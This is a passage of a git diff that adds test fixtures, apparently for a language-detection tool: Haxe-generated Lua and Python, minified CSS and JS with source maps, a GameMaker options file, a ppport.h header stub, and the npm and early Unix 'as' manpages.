+		  str = Std.string(str) .. Std.string(__lua_Boot.__string_rec(o[i], s));
+		end;
+	  end;
+	  do return Std.string(str) .. Std.string(")") end;
+	end;
+  end
+  __lua_Boot.printClassRec = function(c,result,s) 
+	if (result == nil) then 
+	  result = "";
+	end;
+	local f = __lua_Boot.__string_rec;
+	for k,v in pairs(c) do if result ~= '' then result = result .. ', ' end result = result .. k .. ':' .. f(v, s.. '	') end;
+	do return result end;
+  end
+  __lua_Boot.__string_rec = function(o,s) 
+	if (s == nil) then 
+	  s = "";
+	end;
+	if (__lua_lib_luautf8_Utf8.len(s) >= 5) then 
+	  do return "<...>" end;
+	end;
+	local _g = type(o);
+	if (_g) == "boolean" then 
+	  do return tostring(o) end;
+	elseif (_g) == "function" then 
+	  do return "<function>" end;
+	elseif (_g) == "nil" then 
+	  do return "null" end;
+	elseif (_g) == "number" then 
+	  if (o == _G.math.huge) then 
+		do return "Infinity" end;
+	  else
+		if (o == -_G.math.huge) then 
+		  do return "-Infinity" end;
+		else
+		  if (o == 0) then 
+			do return "0" end;
+		  else
+			if (o ~= o) then 
+			  do return "NaN" end;
+			else
+			  do return tostring(o) end;
+			end;
+		  end;
+		end;
+	  end;
+	elseif (_g) == "string" then 
+	  do return o end;
+	elseif (_g) == "table" then 
+	  if (o.__enum__ ~= nil) then 
+		do return __lua_Boot.printEnum(o, s) end;
+	  else
+		if ((_hx_wrap_if_string_field(o,'toString') ~= nil) and not __lua_Boot.isArray(o)) then 
+		  do return _hx_wrap_if_string_field(o,'toString')(o) end;
+		else
+		  if (__lua_Boot.isArray(o)) then 
+			local o2 = o;
+			if (__lua_lib_luautf8_Utf8.len(s) > 5) then 
+			  do return "[...]" end;
+			else
+			  local _g1 = _hx_tab_array({}, 0);
+			  local _g11 = 0;
+			  while (_g11 < o2.length) do 
+				local i = o2[_g11];
+				_g11 = _g11 + 1;
+				_g1:push(__lua_Boot.__string_rec(i, Std.string(s) .. Std.string(1)));
+			  end;
+			  do return Std.string(Std.string("[") .. Std.string(_g1:join(","))) .. Std.string("]") end;
+			end;
+		  else
+			if (o.__class__ ~= nil) then 
+			  do return Std.string(Std.string("{") .. Std.string(__lua_Boot.printClassRec(o, "", Std.string(s) .. Std.string("\t")))) .. Std.string("}") end;
+			else
+			  local fields = __lua_Boot.fieldIterator(o);
+			  local buffer = ({});
+			  local first = true;
+			  _G.table.insert(buffer, "{ ");
+			  local f = fields;
+			  while (f:hasNext()) do 
+				local f1 = f:next();
+				if (first) then 
+				  first = false;
+				else
+				  _G.table.insert(buffer, ", ");
+				end;
+				_G.table.insert(buffer, Std.string(Std.string(Std.string("") .. Std.string(Std.string(f1))) .. Std.string(" : ")) .. Std.string(__lua_Boot.__string_rec(o[f1], Std.string(s) .. Std.string("\t"))));
+			  end;
+			  _G.table.insert(buffer, " }");
+			  do return _G.table.concat(buffer, "") end;
+			end;
+		  end;
+		end;
+	  end;
+	elseif (_g) == "thread" then 
+	  do return "<thread>" end;
+	elseif (_g) == "userdata" then 
+	  local mt = _G.getmetatable(o);
+	  if ((mt ~= nil) and (mt.__tostring ~= nil)) then 
+		do return _G.tostring(o) end;
+	  else
+		do return "<userdata>" end;
+	  end;else
+	_G.error("Unknown Lua type",0); end;
+  end
+  __lua_Boot.fieldIterator = function(o) 
+	if (_G.type(o) ~= "table") then 
+	  do return _hx_o({__fields__={next=true,hasNext=true},next=function(self) 
+		do return nil end;
+	  end,hasNext=function(self) 
+		do return false end;
+	  end}) end;
+	end;
+	local tbl = (function() 
+	  local _hx_1
+	  if (o.__fields__ ~= nil) then 
+	  _hx_1 = o.__fields__; else 
+	  _hx_1 = o; end
+	  return _hx_1
+	end )();
+	local cur = _G.pairs(tbl);
+	local next_valid = function(tbl1,val) 
+	  while (__lua_Boot.hiddenFields[val] ~= nil) do 
+		val = cur(tbl1, val);
+	  end;
+	  do return val end;
+	end;
+	local cur_val = next_valid(tbl, cur(tbl, nil));
+	do return _hx_o({__fields__={next=true,hasNext=true},next=function(self) 
+	  local ret = cur_val;
+	  cur_val = next_valid(tbl, cur(tbl, cur_val));
+	  do return ret end;
+	end,hasNext=function(self) 
+	  do return cur_val ~= nil end;
+	end}) end;
+  end
+  _hx_bit_clamp = function(v)
+	if v <= 2147483647 and v >= -2147483648 then
+	  if v > 0 then return _G.math.floor(v)
+	  else return _G.math.ceil(v)
+	  end
+	end
+	if v > 2251798999999999 then v = v*2 end;
+	if (v ~= v or math.abs(v) == _G.math.huge) then return nil end
+	return _hx_bit.band(v, 2147483647 ) - math.abs(_hx_bit.band(v, 2147483648))
+  end
+  
+  -- require this for lua 5.1
+  pcall(require, 'bit')
+  if bit then
+	_hx_bit = bit
+  else
+	local _hx_bit_raw = _G.require('bit32')
+	_hx_bit = setmetatable({}, { __index = _hx_bit_raw });
+	-- lua 5.2 weirdness
+	_hx_bit.bnot = function(...) return _hx_bit_clamp(_hx_bit_raw.bnot(...)) end;
+	_hx_bit.bxor = function(...) return _hx_bit_clamp(_hx_bit_raw.bxor(...)) end;
+  end
+  
+  _hx_array_mt.__index = Array.prototype
+  
+  local _hx_static_init = function()
+	__lua_Boot.hiddenFields = {__id__=true, hx__closures=true, super=true, prototype=true, __fields__=true, __ifields__=true, __class__=true, __properties__=true}
+	
+	
+  end
+  
+  _hx_print = print or (function() end)
+  
+  _hx_wrap_if_string_field = function(o, fld)
+	if _G.type(o) == 'string' then
+	  if fld == 'length' then
+		return _G.string.len(o)
+	  else
+		return String.prototype[fld]
+	  end
+	else
+	  return o[fld]
+	end
+  end
+  
+  _hx_static_init();
+  Main.main()
+  
\ No newline at end of file
diff --git a/test/fixtures/Generated/Haxe/main.py b/test/fixtures/Generated/Haxe/main.py
new file mode 100644
index 0000000000..b3c4832468
--- /dev/null
+++ b/test/fixtures/Generated/Haxe/main.py
@@ -0,0 +1,28 @@
+# Generated by Haxe 4.0.5
+# coding: utf-8
+import sys
+
+
+
+class Main:
+    __slots__ = ()
+
+    @staticmethod
+    def main():
+        print("Hello World")
+
+
+class python_internal_MethodClosure:
+    __slots__ = ("obj", "func")
+
+    def __init__(self,obj,func):
+        self.obj = obj
+        self.func = func
+
+    def __call__(self,*args):
+        return self.func(self.obj,*args)
+
+
+
+
+Main.main()
diff --git a/test/fixtures/Generated/inline.css b/test/fixtures/Generated/inline.css
new file mode 100644
index 0000000000..0a546cbf77
--- /dev/null
+++ b/test/fixtures/Generated/inline.css
@@ -0,0 +1,2 @@
+.accordion{padding:0;margin:0;position:relative;list-style:none}.accordion>*{position:absolute;overflow:hidden;padding:0;margin:0}.accordion .accordion,.accordion.edge-visible,.accordion>*{-webkit-transition:.3s ease all;-moz-transition:.3s ease all;-o-transition:.3s ease all;transition:.3s ease all}.accordion,.accordion>*{will-change:height,transform;-webkit-perspective:90em;-moz-perspective:90em;perspective:90em;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translateY(0);-o-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.snap.accordion .accordion,.snap.accordion>*{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;transition:none!important}.accordion>*>:first-child{cursor:pointer;margin:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.accordion>*>:last-child{overflow:hidden;-webkit-transition:.3s ease height,.3s step-start visibility;-moz-transition:.3s ease height,.3s step-start visibility;-o-transition:.3s ease height,.3s step-start visibility;transition:.3s ease height,.3s step-start visibility}.accordion>.closed .accordion>.open>:last-child,.accordion>.closed>:last-child{-webkit-transition-timing-function:ease,step-end;-moz-transition-timing-function:ease,step-end;-o-transition-timing-function:ease,step-end;transition-timing-function:ease,step-end;visibility:hidden}
+/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImFjY29yZGlvbi5jc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQ0EsV0FDQyxRQUFTLEVBQ1QsT0FBUyxFQUNULFNBQVUsU0FDVixXQUFZLEtBRVosYUFDQyxTQUFVLFNBQ1YsU0FBVSxPQUNWLFFBQVMsRUFDVCxPQUFTLEVBSVQsc0JBREEsd0JBREEsYUFHQyxtQkFBb0IsSUFBSSxLQUFLLElBQzdCLGdCQUFvQixJQUFJLEtBQUssSUFDN0IsY0FBb0IsSUFBSSxLQUFLLElBQzdCLFdBQW9CLElBQUksS0FBSyxJQUk5QixXQUNBLGFBQ0MsWUFBYSxNQUFNLENBQUUsVUFDckIsb0JBQXFCLEtBQ3JCLGlCQUFxQixLQUNyQixZQUFxQixLQUVyQiw0QkFBNkIsT0FDN0IseUJBQTZCLE9BQzdCLG9CQUE2QixPQUU3QixrQkFBb0IsbUJBQ3BCLGVBQW9CLG1CQUNwQixjQUFvQixjQUNwQixhQUFvQixtQkFDcEIsVUFBb0IsbUJBS3JCLDJCQURBLGtCQUVDLG1CQUFvQixlQUNwQixnQkFBb0IsZUFDcEIsY0FBb0IsZUFDcEIsV0FBb0IsZUFJckIsMEJBQ0MsT0FBUSxRQUNSLE9BQVEsRUFFUixvQkFBcUIsS0FDckIsaUJBQXFCLEtBQ3JCLGdCQUFxQixLQUNyQixZQUFxQixLQUl0Qix5QkFDQyxTQUFVLE9BQ1YsbUJBQW9CLElBQUksS0FBSyxNQUFNLENBQUUsSUFBSSxXQUFXLFdBQ3BELGdCQUFvQixJQUFJLEtBQUssTUFBTSxDQUFFLElBQUksV0FBVyxXQUNwRCxjQUFvQixJQUFJLEtBQUssTUFBTSxDQUFFLElBQUksV0FBVyxXQUNwRCxXQUFvQixJQUFJLEtBQUssTUFBTSxDQUFFLElBQUksV0FBVyxXQUdwRCxnREFEQSwrQkFFQyxtQ0FBb0MsSUFBSSxDQUFFLFNBQzFDLGdDQUFvQyxJQUFJLENBQUUsU0FDMUMsOEJBQW9DLElBQUksQ0FBRSxTQUMxQywyQkFBb0MsSUFBSSxDQUFFLFNBQzFDLFdBQVkiLCJzb3VyY2VzQ29udGVudCI6WyIvKiogQ29yZSBzdHlsaW5nICovXG4uYWNjb3JkaW9ue1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46ICAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGxpc3Qtc3R5bGU6IG5vbmU7XG59XG5cdC5hY2NvcmRpb24gPiAqe1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0bWFyZ2luOiAgMDtcblx0fVxuXHRcdC5hY2NvcmRpb24gPiAqLFxuXHRcdC5hY2NvcmRpb24uZWRnZS12aXNpYmxlLFxuXHRcdC5hY2NvcmRpb24gLmFjY29yZGlvbntcblx0XHRcdC13ZWJraXQtdHJhbnNpdGlvbjogLjNzIGVhc2UgYWxsO1xuXHRcdFx0LW1vei10cmFuc2l0aW9uOiAgICAuM3MgZWFzZSBhbGw7XG5cdFx0XHQtby10cmFuc2l0aW9uOiAgICAgIC4zcyBlYXNlIGFsbDtcblx0XHRcdHRyYW5zaXRpb246ICAgICAgICAgLjNzIGVhc2UgYWxsO1xuXHRcdH1cblx0XHRcblx0XHQvKiogVHJhbnNmb3JtLXJlbGF0ZWQgKi9cblx0XHQuYWNjb3JkaW9uLFxuXHRcdC5hY2NvcmRpb24gPiAqe1xuXHRcdFx0d2lsbC1jaGFuZ2U6IGhlaWdodCwgdHJhbnNmb3JtO1xuXHRcdFx0LXdlYmtpdC1wZXJzcGVjdGl2ZTogOTBlbTtcblx0XHRcdC1tb3otcGVyc3BlY3RpdmU6ICAgIDkwZW07XG5cdFx0XHRwZXJzcGVjdGl2ZTogICAgICAgICA5MGVtO1xuXHRcdFx0XG5cdFx0XHQtd2Via2l0LWJhY2tmYWNlLXZpc2liaWxpdHk6IGhpZGRlbjtcblx0XHRcdC1tb3otYmFja2ZhY2UtdmlzaWJpbGl0eTogICAgaGlkZGVuO1xuXHRcdFx0YmFja2ZhY2UtdmlzaWJpbGl0eTogICAgICAgICBoaWRkZW47XG5cdFx0XHRcblx0XHRcdC13ZWJraXQtdHJhbnNmb3JtOiAgdHJhbnNsYXRlM2QoMCwwLDApO1xuXHRcdFx0LW1vei10cmFuc2Zvcm06ICAgICB0cmFuc2xhdGUzZCgwLDAsMCk7XG5cdFx0XHQtbXMtdHJhbnNmb3JtOiAgICAgIHRyYW5zbGF0ZVkoMCk7XG5cdFx0XHQtby10cmFuc2Zvcm06ICAgICAgIHRyYW5zbGF0ZTNkKDAsMCwwKTtcblx0XHRcdHRyYW5zZm9ybTogICAgICAgICAgdHJhbnNsYXRlM2QoMCwwLDApO1xuXHRcdH1cblx0XHRcblx0XHQvKiogUnVsZSB0byBkaXNhYmxlIHRyYW5zaXRpb25zIGJldHdlZW4gZ2FwIGNvcnJlY3Rpb25zICovXG5cdFx0LnNuYXAuYWNjb3JkaW9uID4gKixcblx0XHQuc25hcC5hY2NvcmRpb24gLmFjY29yZGlvbntcblx0XHRcdC13ZWJraXQtdHJhbnNpdGlvbjogbm9uZSAhaW1wb3J0YW50O1xuXHRcdFx0LW1vei10cmFuc2l0aW9uOiAgICBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHQtby10cmFuc2l0aW9uOiAgICAgIG5vbmUgIWltcG9ydGFudDtcblx0XHRcdHRyYW5zaXRpb246ICAgICAgICAgbm9uZSAhaW1wb3J0YW50O1xuXHRcdH1cblxuXHRcdC8qKiBIZWFkaW5ncyAqL1xuXHRcdC5hY2NvcmRpb24gPiAqID4gOmZpcnN0LWNoaWxke1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdFx0bWFyZ2luOiAwO1xuXHRcdFx0XG5cdFx0XHQtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuXHRcdFx0LW1vei11c2VyLXNlbGVjdDogICAgbm9uZTtcblx0XHRcdC1tcy11c2VyLXNlbGVjdDogICAgIG5vbmU7XG5cdFx0XHR1c2VyLXNlbGVjdDogICAgICAgICBub25lO1xuXHRcdH1cblx0XHRcblx0XHQvKiogQ29sbGFwc2libGUgY29udGVudCAqL1xuXHRcdC5hY2NvcmRpb24gPiAqID4gOmxhc3QtY2hpbGR7XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0LXdlYmtpdC10cmFuc2l0aW9uOiAuM3MgZWFzZSBoZWlnaHQsIC4zcyBzdGVwLXN0YXJ0IHZpc2liaWxpdHk7XG5cdFx0XHQtbW96LXRyYW5zaXRpb246ICAgIC4zcyBlYXNlIGhlaWdodCwgLjNzIHN0ZXAtc3RhcnQgdmlzaWJpbGl0eTtcblx0XHRcdC1vLXRyYW5zaXRpb246ICAgICAgLjNzIGVhc2UgaGVpZ2h0LCAuM3Mgc3RlcC1zdGFydCB2aXNpYmlsaXR5O1xuXHRcdFx0dHJhbnNpdGlvbjogICAgICAgICAuM3MgZWFzZSBoZWlnaHQsIC4zcyBzdGVwLXN0YXJ0IHZpc2liaWxpdHk7XG5cdFx0fVxuXHRcdFx0LmFjY29yZGlvbiA+IC5jbG9zZWQgPiA6bGFzdC1jaGlsZCxcblx0XHRcdC5hY2NvcmRpb24gPiAuY2xvc2VkIC5hY2NvcmRpb24gPiAub3BlbiA+IDpsYXN0LWNoaWxke1xuXHRcdFx0XHQtd2Via2l0LXRyYW5zaXRpb24tdGltaW5nLWZ1bmN0aW9uOiBlYXNlLCBzdGVwLWVuZDtcblx0XHRcdFx0LW1vei10cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogICAgZWFzZSwgc3RlcC1lbmQ7XG5cdFx0XHRcdC1vLXRyYW5zaXRpb24tdGltaW5nLWZ1bmN0aW9uOiAgICAgIGVhc2UsIHN0ZXAtZW5kO1xuXHRcdFx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogICAgICAgICBlYXNlLCBzdGVwLWVuZDtcblx0XHRcdFx0dmlzaWJpbGl0eTogaGlkZGVuO1xuXHRcdFx0fVxuIl19 */
\ No newline at end of file
diff --git a/test/fixtures/Generated/inline.js b/test/fixtures/Generated/inline.js
new file mode 100644
index 0000000000..2af61abf6c
--- /dev/null
+++ b/test/fixtures/Generated/inline.js
@@ -0,0 +1,13 @@
+"use strict";
+
+Object.defineProperty(exports, "__esModule", { value: true });
+
+class Foo {
+	constructor(){
+		this.name = "Foo";
+	}
+}
+
+exports.Foo = Foo;
+
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZXNtLmpzIiwic291cmNlcyI6WyJlc20ubWpzIl0sInNvdXJjZXNDb250ZW50IjpbImV4cG9ydCBjbGFzcyBGb28ge1xuXHRjb25zdHJ1Y3Rvcigpe1xuXHRcdHRoaXMubmFtZSA9IFwiRm9vXCI7XG5cdH1cbn07XG4iXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7OztBQUFPLE1BQU0sR0FBRyxDQUFDO0NBQ2hCLFdBQVcsRUFBRTtFQUNaLElBQUksQ0FBQyxJQUFJLEdBQUcsS0FBSyxDQUFDO0VBQ2xCO0NBQ0Q7Ozs7In0=
\ No newline at end of file
diff --git a/test/fixtures/Generated/linked.css b/test/fixtures/Generated/linked.css
new file mode 100644
index 0000000000..74600b7edc
--- /dev/null
+++ b/test/fixtures/Generated/linked.css
@@ -0,0 +1,2 @@
+.accordion{padding:0;margin:0;position:relative;list-style:none}.accordion>*{position:absolute;overflow:hidden;padding:0;margin:0}.accordion .accordion,.accordion.edge-visible,.accordion>*{-webkit-transition:.3s ease all;-moz-transition:.3s ease all;-o-transition:.3s ease all;transition:.3s ease all}.accordion,.accordion>*{will-change:height,transform;-webkit-perspective:90em;-moz-perspective:90em;perspective:90em;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translateY(0);-o-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.snap.accordion .accordion,.snap.accordion>*{-webkit-transition:none!important;-moz-transition:none!important;-o-transition:none!important;transition:none!important}.accordion>*>:first-child{cursor:pointer;margin:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.accordion>*>:last-child{overflow:hidden;-webkit-transition:.3s ease height,.3s step-start visibility;-moz-transition:.3s ease height,.3s step-start visibility;-o-transition:.3s ease height,.3s step-start visibility;transition:.3s ease height,.3s step-start visibility}.accordion>.closed .accordion>.open>:last-child,.accordion>.closed>:last-child{-webkit-transition-timing-function:ease,step-end;-moz-transition-timing-function:ease,step-end;-o-transition-timing-function:ease,step-end;transition-timing-function:ease,step-end;visibility:hidden}
+/*# sourceMappingURL=linked.css.map */
diff --git a/test/fixtures/Generated/linked.css.map b/test/fixtures/Generated/linked.css.map
new file mode 100644
index 0000000000..c7a580e4b0
--- /dev/null
+++ b/test/fixtures/Generated/linked.css.map
@@ -0,0 +1 @@
+{"version":3,"sources":["accordion.css"],"names":[],"mappings":"AACA,WACC,QAAS,EACT,OAAS,EACT,SAAU,SACV,WAAY,KAEZ,aACC,SAAU,SACV,SAAU,OACV,QAAS,EACT,OAAS,EAIT,sBADA,wBADA,aAGC,mBAAoB,IAAI,KAAK,IAC7B,gBAAoB,IAAI,KAAK,IAC7B,cAAoB,IAAI,KAAK,IAC7B,WAAoB,IAAI,KAAK,IAI9B,WACA,aACC,YAAa,MAAM,CAAE,UACrB,oBAAqB,KACrB,iBAAqB,KACrB,YAAqB,KAErB,4BAA6B,OAC7B,yBAA6B,OAC7B,oBAA6B,OAE7B,kBAAoB,mBACpB,eAAoB,mBACpB,cAAoB,cACpB,aAAoB,mBACpB,UAAoB,mBAKrB,2BADA,kBAEC,mBAAoB,eACpB,gBAAoB,eACpB,cAAoB,eACpB,WAAoB,eAIrB,0BACC,OAAQ,QACR,OAAQ,EAER,oBAAqB,KACrB,iBAAqB,KACrB,gBAAqB,KACrB,YAAqB,KAItB,yBACC,SAAU,OACV,mBAAoB,IAAI,KAAK,MAAM,CAAE,IAAI,WAAW,WACpD,gBAAoB,IAAI,KAAK,MAAM,CAAE,IAAI,WAAW,WACpD,cAAoB,IAAI,KAAK,MAAM,CAAE,IAAI,WAAW,WACpD,WAAoB,IAAI,KAAK,MAAM,CAAE,IAAI,WAAW,WAGpD,gDADA,+BAEC,mCAAoC,IAAI,CAAE,SAC1C,gCAAoC,IAAI,CAAE,SAC1C,8BAAoC,IAAI,CAAE,SAC1C,2BAAoC,IAAI,CAAE,SAC1C,WAAY"}
\ No newline at end of file
diff --git a/test/fixtures/Generated/options_main.inherited.yy b/test/fixtures/Generated/options_main.inherited.yy
new file mode 100644
index 0000000000..89ddff1a74
--- /dev/null
+++ b/test/fixtures/Generated/options_main.inherited.yy
@@ -0,0 +1,7 @@
+1.0.0←ed6a955d-5826-4f98-a450-10b414266c27←ed6a955d-5826-4f98-a450-10b414266c27|{
+    "option_gameguid": "e429c80a-2ae4-494a-bee0-f7ed5e39ec9b"
+}←1225f6b0-ac20-43bd-a82e-be73fa0b6f4f|{
+    "targets": 461609314234257646
+}←7b2c4976-1e09-44e5-8256-c527145e03bb|{
+    "targets": 461609314234257646
+}
diff --git a/test/fixtures/Generated/ppport.h b/test/fixtures/Generated/ppport.h
new file mode 100644
index 0000000000..dbfcbf158b
--- /dev/null
+++ b/test/fixtures/Generated/ppport.h
@@ -0,0 +1,30 @@
+#if 0
+<<'SKIP';
+#endif
+/*
+----------------------------------------------------------------------
+
+    ppport.h -- Perl/Pollution/Portability Version 3.36
+
+    Automatically created by Devel::PPPort running under perl 5.026002.
+
+    Do NOT edit this file directly! -- Edit PPPort_pm.PL and the
+    includes in parts/inc/ instead.
+
+    Use 'perldoc ppport.h' to view the documentation below.
+
+----------------------------------------------------------------------
+
+SKIP
+
+=pod
+
+=head1 NAME
+
+ppport.h - Perl/Pollution/Portability version 3.36
+
+=head1 SYNOPSIS
+
+  perl ppport.h [options] [source files]
+
+<< TRUNCATED >>
diff --git a/test/fixtures/Generic/1/Roff Manpage/npm.1 b/test/fixtures/Generic/1/Roff Manpage/npm.1
new file mode 100644
index 0000000000..d8a04d3e2e
--- /dev/null
+++ b/test/fixtures/Generic/1/Roff Manpage/npm.1	
@@ -0,0 +1,194 @@
+.TH "NPM" "1" "August 2018" "" ""
+.SH "NAME"
+\fBnpm\fR \- javascript package manager
+.SH SYNOPSIS
+.P
+.RS 2
+.nf
+npm <command> [args]
+.fi
+.RE
+.SH VERSION
+.P
+6.4.1
+.SH DESCRIPTION
+.P
+npm is the package manager for the Node JavaScript platform\.  It puts
+modules in place so that node can find them, and manages dependency
+conflicts intelligently\.
+.P
+It is extremely configurable to support a wide variety of use cases\.
+Most commonly, it is used to publish, discover, install, and develop node
+programs\.
+.P
+Run \fBnpm help\fP to get a list of available commands\.
+.SH IMPORTANT
+.P
+npm is configured to use npm, Inc\.'s public registry at
+https:// by default\. Use of the npm public registry is
+subject to terms of use available at https://
+.P
+You can configure npm to use any compatible registry you like, and even run
+your own registry\. Use of someone else's registry may be governed by their
+terms of use\.
+.SH INTRODUCTION
+.P
+You probably got npm because you want to install stuff\.
+.P
+Use \fBnpm install blerg\fP to install the latest version of "blerg"\.  Check out
+npm help \fBnpm\-install\fP for more info\.  It can do a lot of stuff\.
+.P
+Use the \fBnpm search\fP command to show everything that's available\.
+Use \fBnpm ls\fP to show everything you've installed\.
+.SH DEPENDENCIES
+.P
+If a package references to another package with a git URL, npm depends
+on a preinstalled git\.
+.P
+If one of the packages npm tries to install is a native node module and
+requires compiling of C++ Code, npm will use
+node\-gyp \fIhttps://github\.com/TooTallNate/node\-gyp\fR for that task\.
+For a Unix system, node\-gyp \fIhttps://github\.com/TooTallNate/node\-gyp\fR
+needs Python, make and a buildchain like GCC\. On Windows,
+Python and Microsoft Visual Studio C++ are needed\. Python 3 is
+not supported by node\-gyp \fIhttps://github\.com/TooTallNate/node\-gyp\fR\|\.
+For more information visit
+the node\-gyp repository \fIhttps://github\.com/TooTallNate/node\-gyp\fR and
+the node\-gyp Wiki \fIhttps://github\.com/TooTallNate/node\-gyp/wiki\fR\|\.
+.SH DIRECTORIES
+.P
+See npm help 5 \fBnpm\-folders\fP to learn about where npm puts stuff\.
+.P
+In particular, npm has two modes of operation:
+.RS 0
+.IP \(bu 2
+global mode:
+npm installs packages into the install prefix at
+\fBprefix/lib/node_modules\fP and bins are installed in \fBprefix/bin\fP\|\.
+.IP \(bu 2
+local mode:
+npm installs packages into the current project directory, which
+defaults to the current working directory\.  Packages are installed to
+\fB\|\./node_modules\fP, and bins are installed to \fB\|\./node_modules/\.bin\fP\|\.
+
+.RE
+.P
+Local mode is the default\.  Use \fB\-g\fP or \fB\-\-global\fP on any command to
+operate in global mode instead\.
+.SH DEVELOPER USAGE
+.P
+If you're using npm to develop and publish your code, check out the
+following help topics:
+.RS 0
+.IP \(bu 2
+json:
+Make a package\.json file\.  See npm help 5 \fBpackage\.json\fP\|\.
+.IP \(bu 2
+link:
+For linking your current working code into Node's path, so that you
+don't have to reinstall every time you make a change\.  Use
+\fBnpm link\fP to do this\.
+.IP \(bu 2
+install:
+It's a good idea to install things if you don't need the symbolic link\.
+Especially, installing other peoples code from the registry is done via
+\fBnpm install\fP
+.IP \(bu 2
+adduser:
+Create an account or log in\.  Credentials are stored in the
+user config file\.
+.IP \(bu 2
+publish:
+Use the \fBnpm publish\fP command to upload your code to the registry\.
+
+.RE
+.SH CONFIGURATION
+.P
+npm is extremely configurable\.  It reads its configuration options from
+5 places\.
+.RS 0
+.IP \(bu 2
+Command line switches:
+Set a config with \fB\-\-key val\fP\|\.  All keys take a value, even if they
+are booleans (the config parser doesn't know what the options are at
+the time of parsing)\.  If no value is provided, then the option is set
+to boolean \fBtrue\fP\|\.
+.IP \(bu 2
+Environment Variables:
+Set any config by prefixing the name in an environment variable with
+\fBnpm_config_\fP\|\.  For example, \fBexport npm_config_key=val\fP\|\.
+.IP \(bu 2
+User Configs:
+The file at $HOME/\.npmrc is an ini\-formatted list of configs\.  If
+present, it is parsed\.  If the \fBuserconfig\fP option is set in the cli
+or env, then that will be used instead\.
+.IP \(bu 2
+Global Configs:
+The file found at \.\./etc/npmrc (from the node executable, by default
+this resolves to /usr/local/etc/npmrc) will be parsed if it is found\.
+If the \fBglobalconfig\fP option is set in the cli, env, or user config,
+then that file is parsed instead\.
+.IP \(bu 2
+Defaults:
+npm's default configuration options are defined in
+lib/utils/config\-defs\.js\.  These must not be changed\.
+
+.RE
+.P
+See npm help 7 \fBnpm\-config\fP for much much more information\.
+.SH CONTRIBUTIONS
+.P
+Patches welcome!
+.P
+If you would like to contribute, but don't know what to work on, read
+the contributing guidelines and check the issues list\.
+.RS 0
+.IP \(bu 2
+CONTRIBUTING\.md \fIhttps://github\.com/npm/cli/blob/latest/CONTRIBUTING\.md\fR
+.IP \(bu 2
+Bug tracker \fIhttps://npm\.community/c/bugs\fR
+.IP \(bu 2
+Support tracker \fIhttps://npm\.community/c/support\fR
+
+.RE
+.SH BUGS
+.P
+When you find issues, please report them:
+.RS 0
+.IP \(bu 2
+web:
+https://npm\.community/c/bugs
+
+.RE
+.P
+Be sure to follow the template and bug reporting guidelines\. You can also ask
+for help in the support forum \fIhttps://npm\.community/c/support\fR if you're
+unsure if it's actually a bug or are having trouble coming up with a detailed
+reproduction to report\.
+.SH AUTHOR
+.P
+Isaac Z\. Schlueter \fIhttp://blog\.izs\.me/\fR ::
+isaacs \fIhttps://github\.com/isaacs/\fR ::
+@izs \fIhttps://twitter\.com/izs\fR ::
+i@izs\.me
+.SH SEE ALSO
+.RS 0
+.IP \(bu 2
+npm help help
+.IP \(bu 2
+README
+.IP \(bu 2
+npm help 5 package\.json
+.IP \(bu 2
+npm help install
+.IP \(bu 2
+npm help config
+.IP \(bu 2
+npm help 7 config
+.IP \(bu 2
+npm help 5 npmrc
+.IP \(bu 2
+npm help 7 index
+
+.RE
+
diff --git a/test/fixtures/Generic/1/Roff/as.1 b/test/fixtures/Generic/1/Roff/as.1
new file mode 100644
index 0000000000..0755075cec
--- /dev/null
+++ b/test/fixtures/Generic/1/Roff/as.1
@@ -0,0 +1,89 @@
+.pa 1
+.he 'AS (I)'1/15/73'AS (I)'
+.ti 0
+NAME		as -- assembler
+.sp
+.ti 0
+SYNOPSIS	as__ [ -_ ] name918 ...
+.sp
+.ti 0
+DESCRIPTION	as__
+assembles the concatenation of name\d1\u, ....
+If the optional first argument
+-_ is used,
+all undefined symbols in the assembly
+are treated as global.
+
+The output of the assembly is left on the file "a.out".
+It is executable if no errors occurred
+during the assembly.
+
+.ti 0
+FILES		/etc/as2	pass 2 of the assembler
+.br
+/tmp/atm1?	temporary
+.br
+/tmp/atm2?	temporary
+.br
+/tmp/atm3?	temporary
+.br
+a.out		object
+.sp
+.ti 0
+SEE ALSO	ld(I),
+nm(I),
+un(I),
+db(I),
+a.out(V),
+"UNIX Assembler Manual".
+.sp
+.ti 0
+DIAGNOSTICS	When
+an input file cannot be read, its name
+followed by a question mark is typed and assembly
+ceases.
+When syntactic or semantic errors occur, a single-character diagnostic is typed out
+together with the line number and the file name in which it
+occurred.  Errors in pass 1 cause cancellation of pass 2.
+The possible errors are:
+.sp
+.in +6
+.ti -6
+)  parentheses error
+.ti -6
+]  parentheses error
+.ti -6
+<  String not terminated properly
+.ti -6
+*  Indirection ("*_") used illegally
+.ti -6
+.li
+.  Illegal assignment to "."
+.ti -6
+A  error in A_ddress
+.ti -6
+B  B_ranch instruction is odd or too remote
+.ti -6
+E  error in E_xpression
